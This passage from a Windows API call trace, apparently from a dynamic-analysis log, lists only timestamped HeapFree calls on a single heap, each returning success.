| out: hHeap=0x6a0000) returned 1 [0074.240] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.243] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.245] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.245] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.245] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.247] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.247] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.248] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.251] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.254] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.255] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.255] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.255] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.258] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.258] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.259] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.259] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.259] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.259] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.261] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.262] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.262] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0074.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0074.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0074.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0074.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0074.639] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.639] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0074.653] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.656] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.656] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.656] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0074.661] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.663] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0074.663] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0076.164] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0076.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.040] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.041] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0077.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.048] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0077.049] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.051] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0077.052] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.052] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.053] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0077.053] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.058] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0077.058] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.060] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.063] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.063] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.063] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.067] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.067] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.067] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.502] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.502] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.502] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.503] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.503] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.504] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.504] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.504] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.505] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.505] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.506] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.506] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.506] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.507] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.507] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.508] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.508] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.508] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0077.509] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0077.510] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.511] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.511] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0077.579] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.579] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.585] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.586] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.587] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.587] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.588] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.589] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.756] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.756] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.758] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.761] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.761] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.761] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.762] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.762] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.764] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.764] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.764] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.768] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0077.774] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.775] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0077.775] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0078.077] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.088] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.473] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.477] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.485] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442b830 | out: hHeap=0x6a0000) returned 1 [0078.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.506] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0078.510] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443b838 | out: hHeap=0x6a0000) returned 1 [0078.511] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0078.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.956] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.959] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.959] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.962] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0078.967] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ac048 | out: hHeap=0x6a0000) returned 1 [0078.967] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 